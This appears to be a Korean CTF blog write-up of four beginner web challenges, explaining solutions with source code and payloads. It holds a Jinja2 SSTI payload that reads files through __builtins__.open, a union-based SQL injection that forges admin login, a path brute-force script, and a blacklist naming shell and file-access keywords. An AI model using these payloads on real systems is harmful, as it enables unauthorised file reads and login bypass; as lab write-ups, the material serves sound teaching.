for_beginner
Keyword : SSTI
blacklist = ['os','subprocesses','exec','vars','sys','"','\+','open','rm','main','static','templates','ctf','rf','spawnlp','execfile','dir','dev','tcp','sh','import','built','__class__','for','request','\,','app','file','url_for','\[','\]','config']
def Prevent_SSTI(input):
for i in blacklist:
res = re.search(i,input)
if res:
return True
else:
return False
@app.route('/')
def main():
name = request.args.get("name", "World")
return render_template_string(f'Hello {name}!!')
flag.txt는 로컬에 존재하기 때문에 코드에서 flag를 반환해주지 않아 직접 읽어야 한다.
name과 World 파라미터로 값을 받고 있으며 받은 값을 render_template_string으로 반환해주는 기본적인 flask 코드이다.
Prevent_SSTI 라는 함수가 존재하지만, 실질적으로 사용되지는 않아 힌트를 주기 위한 함수로 보인다.
name 파라미터로 SSTI payload를 삽입해주면 된다.
payload
?name={{request.__init__.__globals__.__builtins__.open(%27flag.txt%27).read()}} |
for_beginner-SQL
keyword: union based SQL injection
<?php
session_start();
require_once "config/dbconn.php";
$userid = $_GET['userid'];
$password = $_GET['password'];
if(isset($userid) && isset($password)) {
$query = "SELECT userid, password FROM user WHERE userid = '${userid}' and password = '".md5($password)."'";
try {
$result = $mysqli->query($query);
$data = mysqli_fetch_array($result);
if(isset($data) && $data[0] == "admin" && $data[1] === md5($password)){
die($flag);
} else {
die("Wrong...");
}
} catch(Exception $e) {
}
} else {
show_source(__FILE__);
}
?>
문제 서버에서는 소스 코드를 보여주고 있으며, prepared 문이 아닌 그대로 $_GET 으로 값을 받아 쿼리문에 삽입 한 뒤 조회를 한다.
이후 조회 결과가 admin, admin의 password와 $_GET[password]의 md5 값이 같아야 flag를 반환해준다.
정상적으로 조건을 만족하기 위해서는 admin을 userid에 password에 올바른 password를 입력해야 하는데, admin의 password를 알 수 없다.
Time based SQL injection으로 admin의 password는 알 수 있지만 비교문에서 md5한 값을 비교하는 것을 보고 db에 있는 password의 값이 이미 md5한 값이라고 생각했다.
조금 다르게 생각해서 굳이 password를 찾지 않고 union 키워드를 이용하면 return 값을 의도할 수 있다고 생각하여 진행하였다.
payload
?userid=a%27%20union%20select%20"admin","0cc175b9c0f1b6a831c399e269772661"%23&password=a |
union select "admin", " 0cc175b9c0f1b6a831c399e269772661"#
으로 admin과 의도한 md5 값을 반환하도록 하였다. 여기서 0cc175b9c0f1b6a831c399e269772661 는 payload를 보면 a가 들어가있는데 a를 md5 함수에 넣어서 나온 값이다.
Magic eye
keyword: guessing path
문제에 접속하게 되면 위와 같이 뜨는데 h를 누르게 되면
로 이동하게 된다. 즉 경로 h로 이동한 것인데,
문제는 Not Found라고 한다.
비슷한 맥락의 문제를 WACON 2023 prequal 에서 본 적이 있다.
https://keyme2003.tistory.com/entry/WACON-2023-Prequal-Writeup#mic%20check-1
이전에 본 적이 있는 문제이기 때문에 빠르게 풀었던 것 같다.
올바른 경로일 경우 status code 200을 반환하고 올바르지 않을 경우 404를 반환하여 brute forcing해주는 python code를 작성하여 풀었다.
payload
import requests
import string
url = "http://server"
payload = string.ascii_lowercase+string.digits+'}'
PATH = "h/s/p/a/c/e/%7b/"
for i in range(len("57a32c35915278d4de4ca21a8dc22b7f642a2a33e1508050c9498e1e48290e38}")):
for j in payload:
if requests.get(url+'/'+PATH+j).status_code == 200:
PATH = PATH + j +'/'
print(PATH.replace('/',''))
print(url+'/'+PATH+j)
print(PATH)
web101 - after ended
keyword: .git path, robots.txt, temporary file, common path
ctf에서 많이 나오는 경로에 숨겨져 있는 flag들을 합쳐 푸는 문제이다.
각 경로는
index.html
/.git/
.index.html.swp
flag.txt
/admin/
robots.txt
이렇게 있으며, 각 경로별 숨어있었다.
필자는 swp 파일과 flag.txt를 못 찾아서 풀지 못했다.
* flag를 모두 합치면 real ctf에서는 dirbuster를 사용하지 말라는 것을 보니 dirbuster를 사용하는 문제?인거 같다.
'CTF > WEB' 카테고리의 다른 글
SSTF 2023 Write up - SQLi 101, SQLi 102, SQLi 103, XSS 101, Libreria(After) (0) | 2023.08.22 |
---|